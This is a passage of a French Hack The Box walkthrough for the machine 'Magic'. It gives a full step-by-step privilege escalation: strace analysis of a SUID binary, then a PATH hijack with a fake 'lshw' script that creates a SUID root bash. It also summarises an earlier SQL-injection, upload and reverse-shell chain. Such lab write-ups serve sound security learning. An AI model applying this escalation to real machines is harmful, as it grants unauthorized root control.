Tu peux maintenant lire le flag utilisateur :

cat user.txt
6461************************d728

À ce stade, tu as terminé la prise de pied : tu es passé du contexte web www-data au compte utilisateur theseus.

La suite consiste maintenant à chercher un moyen d’élever les privilèges pour obtenir un accès root.

Escalade de privilèges

Une fois connecté en tant que theseus, tu peux commencer l’énumération locale afin d’identifier une piste permettant d’obtenir les privilèges root.

La méthode générale est détaillée dans la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » .

Vérification des droits sudo

La première vérification consiste à rechercher d’éventuels droits sudo accordés à l’utilisateur courant :

sudo -l

La réponse est :

Sorry, user theseus may not run sudo on magic.

Aucun droit sudo exploitable n’est disponible pour theseus. Il faut donc poursuivre l’énumération locale avec d’autres mécanismes susceptibles de permettre une escalade de privilèges.

Recherche de capabilities exploitables

Les capabilities Linux permettent d’accorder certains privilèges particuliers à un programme sans lui attribuer l’ensemble des droits de root.

La commande suivante recherche les capabilities présentes sur le système :

getcap -r / 2>/dev/null

La sortie obtenue est la suivante :

/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/snap/core20/1026/usr/bin/ping = cap_net_raw+ep

Les capabilities découvertes concernent principalement des opérations réseau ou des composants système attendus. Elles ne fournissent pas de piste évidente permettant d’obtenir les privilèges de root.

Recherche des binaires SUID

Pour poursuivre l’énumération locale, le script suid3num.py est téléchargé dans /dev/shm en suivant la recette dédiée à l’escalade de privilèges sous Linux :

« Privilege Escalation Linux — Méthode structurée pour CTF et HTB »

Le script est ensuite exécuté afin de rechercher les fichiers disposant du bit SUID :

python3 /dev/shm/suid3num.py

Lorsqu’un programme SUID est exécuté, il utilise l’identité effective de son propriétaire plutôt que celle de l’utilisateur qui le lance. Un binaire SUID appartenant à root peut donc devenir intéressant s’il contient une faiblesse exploitable.

L’outil signale notamment un binaire personnalisé :

[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/bin/sysinfo
------------------------------

Les permissions et les caractéristiques de ce fichier sont ensuite vérifiées manuellement :

ls -la /bin/sysinfo
file /bin/sysinfo
id

La sortie confirme que /bin/sysinfo appartient à root, possède le bit SUID et peut être exécuté par les membres du groupe users :

-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

L’utilisateur theseus appartient justement à ce groupe :

uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)

Il est donc autorisé à exécuter /bin/sysinfo. Grâce au bit SUID, le programme utilise alors les privilèges effectifs de son propriétaire, c’est-à-dire root.

Analyse du fonctionnement de /bin/sysinfo avec strace

Tu passes ensuite à une analyse dynamique de /bin/sysinfo avec strace.

L’objectif de strace est ici uniquement d’observer le fonctionnement interne de /bin/sysinfo et les commandes qu’il lance ; l’exécution avec les privilèges SUID sera vérifiée séparément par une preuve de concept.

Pour commencer, tu exécutes le binaire en enregistrant une trace complète dans un fichier temporaire :

strace -f -o /tmp/sysinfo.strace /bin/sysinfo 2>/dev/null

L’option -f est importante, car /bin/sysinfo lance plusieurs processus enfants. Sans elle, les commandes exécutées par ces sous-processus pourraient ne pas apparaître dans la trace.

L’option -o permet d’enregistrer la sortie dans un fichier, ce qui facilite ensuite les recherches.

La redirection suivante masque les éventuels messages d’erreur affichés pendant l’exécution :

2>/dev/null

Tu recherches ensuite les appels execve, qui permettent d’identifier les programmes lancés :

grep -n "execve(" /tmp/sysinfo.strace

La sortie montre que /bin/sysinfo lance /bin/sh afin d’exécuter plusieurs commandes système :

execve("/bin/sh", ["sh", "-c", "lshw -short"], ...)
execve("/bin/sh", ["sh", "-c", "fdisk -l"], ...)
execve("/bin/sh", ["sh", "-c", "cat /proc/cpuinfo"], ...)
execve("/bin/sh", ["sh", "-c", "free -h"], ...)

Le point intéressant est que certaines commandes, notamment lshw, sont appelées sans chemin absolu :

lshw -short

Le programme n’exécute donc pas directement :

/usr/bin/lshw -short

Tu filtres alors la trace sur le mot-clé lshw :

grep -n "lshw" /tmp/sysinfo.strace

La trace montre que le shell recherche le programme lshw dans les différents répertoires définis par la variable d’environnement PATH, jusqu’à trouver le véritable binaire.

72:2143  execve("/bin/sh", ["sh", "-c", "lshw -short"], 0x7ffd86a86ac8 /* 18 vars */ <unfinished ...>
116:2143  stat("/usr/local/sbin/lshw", 0x7ffe3095d670) = -1 ENOENT (No such file or directory)
117:2143  stat("/usr/local/bin/lshw", 0x7ffe3095d670) = -1 ENOENT (No such file or directory)
118:2143  stat("/usr/sbin/lshw", 0x7ffe3095d670) = -1 ENOENT (No such file or directory)
119:2143  stat("/usr/bin/lshw", {st_mode=S_IFREG|0755, st_size=687056, ...}) = 0
122:2144  execve("/usr/bin/lshw", ["lshw", "-short"], 0x562f4b0b9b68 /* 18 vars */) = 0

Cette résolution via le PATH constitue la faiblesse exploitable. Comme /bin/sysinfo est un binaire SUID appartenant à root, tu peux tenter de placer un faux programme nommé lshw dans un répertoire contrôlé, puis placer ce répertoire en tête du PATH.

Le faux lshw sera alors exécuté à la place du programme légitime, avec les privilèges effectifs de root.

Confirmation de l’exécution avec l’UID effectif root

Avant de procéder à l’exploitation finale, une preuve de concept permet de vérifier que le faux programme sera bien exécuté avec les privilèges effectifs de root.

Le répertoire /dev/shm est utilisé, car theseus peut y créer et exécuter des fichiers.

Un faux programme lshw est créé :

cat > /dev/shm/lshw << 'EOF'
#!/bin/bash
id > /dev/shm/sysinfo_poc.txt
whoami >> /dev/shm/sysinfo_poc.txt
EOF

Le script doit ensuite être rendu exécutable :

chmod +x /dev/shm/lshw

Le répertoire /dev/shm est placé temporairement au début du PATH avant de lancer /bin/sysinfo :

PATH=/dev/shm:$PATH /bin/sysinfo

Lorsque /bin/sysinfo tente d’exécuter lshw, le shell trouve d’abord /dev/shm/lshw et l’exécute à la place du programme légitime.

Le résultat de la preuve de concept est consulté :

cat /dev/shm/sysinfo_poc.txt

Le fichier confirme que le faux programme a été exécuté avec les privilèges de root :

uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
root

Le détournement du PATH est donc exploitable.

Création d’un Bash SUID dans /var/tmp

Le faux programme lshw est maintenant modifié afin de créer une copie SUID de Bash.

Le répertoire /dev/shm reste adapté pour héberger le faux lshw, car theseus peut y créer et exécuter des fichiers. En revanche, il ne convient pas pour stocker le Bash SUID : sur cette machine, /dev/shm est monté avec l’option nosuid.

mount | grep /dev/shm

La sortie montre que ce système de fichiers est monté avec l’option nosuid :

tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)

Cette option indique au noyau d’ignorer les bits SUID et SGID présents sur les fichiers de ce système de fichiers.

Une copie de Bash placée dans /dev/shm conserve donc visuellement le bit SUID dans ses permissions, mais celui-ci n’est pas appliqué lors de l’exécution.

Tu vérifies ensuite si /var/tmp est monté avec l’option nosuid :

mount | grep -E ' /var/tmp | /var '

donne :

/dev/sda1 on /var/tmp type ext4 (rw,relatime,errors=remount-ro)

Aucune option nosuid ne concerne /var/tmp. Ce répertoire peut donc être utilisé pour stocker la copie SUID de Bash, tandis que /dev/shm reste utilisé pour héberger le faux programme lshw.

Le faux lshw devient alors :

cat > /dev/shm/lshw << 'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/bashroot
chmod 4755 /var/tmp/bashroot
EOF

Le script est rendu exécutable, puis /bin/sysinfo est relancé avec /dev/shm placé en tête du PATH :

chmod +x /dev/shm/lshw
PATH=/dev/shm:$PATH /bin/sysinfo

La copie de Bash créée dans /var/tmp peut ensuite être vérifiée :

ls -l /var/tmp/bashroot

La sortie confirme qu’elle appartient à root et qu’elle possède le bit SUID :

-rwsr-xr-x 1 root root 1113504 Jul 10 01:40 /var/tmp/bashroot

Tu exécutes ensuite cette copie avec l’option -p afin que Bash conserve les privilèges effectifs obtenus grâce au bit SUID :

/var/tmp/bashroot -p

La commande id confirme que l’UID réel reste celui de theseus, tandis que l’UID effectif devient celui de root :

id
uid=1000(theseus) gid=1000(theseus) euid=0(root) groups=1000(theseus),100(users)

Lecture de root.txt

Le shell dispose désormais d’un UID effectif root, ce qui permet de lire le fichier final :

bashroot-4.4# cat /root/root.txt
3ff3xxxxxxxxxxxxxxxxxxxxxxxxxxxxd8d4

La compromission de la machine est maintenant terminée : l’accès initial a été obtenu, puis les privilèges de root ont été acquis grâce au détournement du PATH dans le binaire SUID /bin/sysinfo.

Conclusion

La machine Magic de Hack The Box, classée HTB Medium, propose une chaîne d’exploitation variée et progressive.

L’injection SQL du formulaire d’authentification permet d’accéder à une fonctionnalité d’upload insuffisamment protégée. L’envoi d’une image contenant du code PHP conduit alors à une exécution de commandes, puis à l’obtention d’un reverse shell sous l’identité de www-data.

L’analyse des fichiers de l’application et du contenu de la base de données révèlent ensuite un mot de passe réutilisé par l’utilisateur local theseus. Enfin, le binaire SUID /bin/sysinfo exécute certaines commandes sans utiliser leur chemin absolu. Le détournement de la variable PATH permet de substituer un faux programme lshw, puis de créer une copie SUID de Bash afin d’obtenir un shell root.

Magic met ainsi en évidence plusieurs erreurs de sécurité : une injection SQL, un contrôle insuffisant des fichiers envoyés, la réutilisation d’un mot de passe et l’exécution non sécurisée de commandes depuis un binaire SUID.